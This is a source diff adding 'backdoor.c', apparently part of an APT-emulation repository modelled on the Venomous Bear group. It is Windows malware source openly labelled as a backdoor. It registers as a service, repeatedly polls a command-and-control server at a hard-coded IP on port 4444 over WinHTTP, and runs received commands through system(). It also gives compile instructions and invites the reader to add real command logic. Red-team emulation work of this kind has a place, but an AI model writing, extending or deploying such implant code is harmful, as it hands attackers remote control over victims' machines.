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Russian APT/Venomous-Bear-APT/backdoor.c

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+//This backdoor includes the following components:
+
+//1.Service Control Handler: Registers a service control handler to manage the service's state.
+//2.Main Malware Function: Placeholder for the main logic of the backdoor.
+//3.Configuration Reading: Initializes the configuration with placeholders for actual values.
+//4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server.
+//5.Command Processing: Processes the retrieved commands (currently simulated).
+//6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup.
+
+//Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements.
+//Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes
+
+// Author: S3N4T0R
+// Date: 2024-6-8
+
+//manual compile: x86_64-w64-mingw32-gcc -o backdoor.dll backdoor.c -lwinhttp
+
+#include <windows.h>
+#include <winhttp.h>
+#include <stdio.h>
+
+#define WINHTTP_FLAG_SECURE 0x00800000
+
+typedef struct _sConfig {
+    LPCWSTR lpSubKey;
+    int TimeLongValue;
+    int TimeShortValue;
+    LPCWSTR SecurityValue;
+    LPCWSTR Hosts;
+    int NumIPs;
+    int HostsIndex;
+    LPCWSTR MachineGuidValue;
+    int authenticated;
+    PROCESS_INFORMATION subprocess;
+} sConfig;
+
+SERVICE_STATUS ServiceStatus;
+SERVICE_STATUS_HANDLE hServiceStatus;
+sConfig *config;
+
+void HandlerProc(DWORD dwControl) {
+    // Handler for service control
+}
+
+void main_malware(const char *serviceName) {
+    // Placeholder for main malware logic
+    printf("Running main malware logic for service: %s\n", serviceName);
+}
+
+DWORD _fastcall ServiceMain(DWORD dwArgc, LPCWSTR *lpszArgv) {
+    const char *serviceName = (const char *)*lpszArgv;
+    hServiceStatus = RegisterServiceCtrlHandlerW(*lpszArgv, HandlerProc);
+    
+    if (hServiceStatus) {
+        ServiceStatus.dwCurrentState = SERVICE_RUNNING;
+        if (SetServiceStatus(hServiceStatus, &ServiceStatus)) {
+            main_malware(serviceName);
+            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+            SetServiceStatus(hServiceStatus, &ServiceStatus);
+        }
+    }
+    
+    return (DWORD)(uintptr_t)hServiceStatus;
+}
+
+sConfig* ReadConfig() {
+    // Function to read and initialize configuration
+    sConfig* result = (sConfig *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(sConfig));
+    result->Hosts = L"192.168.1.9"; // Adjust the IP address here
+    result->NumIPs = 1;
+    result->HostsIndex = 0;
+    result->TimeLongValue = 30000; // Example value for long sleep time
+    result->TimeShortValue = 5000; // Example value for short sleep time
+    result->SecurityValue = L"default_password"; // Example security value
+    result->MachineGuidValue = L"unique_machine_guid"; // Example machine GUID
+    result->authenticated = 0;
+    ZeroMemory(&(result->subprocess), sizeof(PROCESS_INFORMATION));
+    return result;
+}
+
+BOOL C2_GetCommand(HINTERNET hConnect, LPCWSTR machineGuid, BYTE **responseData, DWORD *responseDataLength) {
+    BOOL result = FALSE;
+    HINTERNET hRequest = NULL;
+    DWORD bytesRead = 0;
+
+    WCHAR requestPath[256];
+    swprintf(requestPath, 256, L"/get_command?guid=%s", machineGuid);
+
+    hRequest = WinHttpOpenRequest(hConnect, L"GET", requestPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
+    
+    if (hRequest) {
+        if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) &&
+            WinHttpReceiveResponse(hRequest, NULL)) {
+            WinHttpQueryDataAvailable(hRequest, responseDataLength);
+
+            if (*responseDataLength > 0) {
+                *responseData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, *responseDataLength + 1);
+                if (WinHttpReadData(hRequest, *responseData, *responseDataLength, &bytesRead)) {
+                    (*responseData)[*responseDataLength] = 0; // Null-terminate the data
+                    result = TRUE;
+                } else {
+                    HeapFree(GetProcessHeap(), 0, *responseData);
+                    *responseData = NULL;
+                }
+            }
+        }
+        WinHttpCloseHandle(hRequest);
+    }
+
+    return result;
+}
+
+void ProcessCommand(sConfig *config, BYTE *commandData, DWORD commandDataLength) {
+    printf("Processing command: %s\n", commandData);
+
+    if (strncmp((char *)commandData, "calc", 4) == 0) {
+        system("calc");
+    }
+
+    // Add real command processing logic here
+}
+
+void ServiceLoop() {
+    HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
+    HINTERNET hConnect = WinHttpConnect(hSession, config->Hosts, 4444, 0);
+
+    if (!hConnect) goto SHUTDOWN;
+
+    while (1) {
+        BYTE *commandData = NULL;
+        DWORD commandDataLength = 0;
+
+        if (!C2_GetCommand(hConnect, config->MachineGuidValue, &commandData, &commandDataLength)) {
+            goto SHUTDOWN;
+        }
+
+        ProcessCommand(config, commandData, commandDataLength);
+
+        if (commandData) {
+            HeapFree(GetProcessHeap(), 0, commandData);
+        }
+
+        Sleep(config->TimeShortValue);
+    }
+
+SHUTDOWN:
+    if (hConnect) WinHttpCloseHandle(hConnect);
+    if (hSession) WinHttpCloseHandle(hSession);
+}
+
+int main() {
+    LPCWSTR argv[] = {L"DummyService"};
+    config = ReadConfig();
+    ServiceMain(1, argv);
+    ServiceLoop();
+    return 0;
+}
+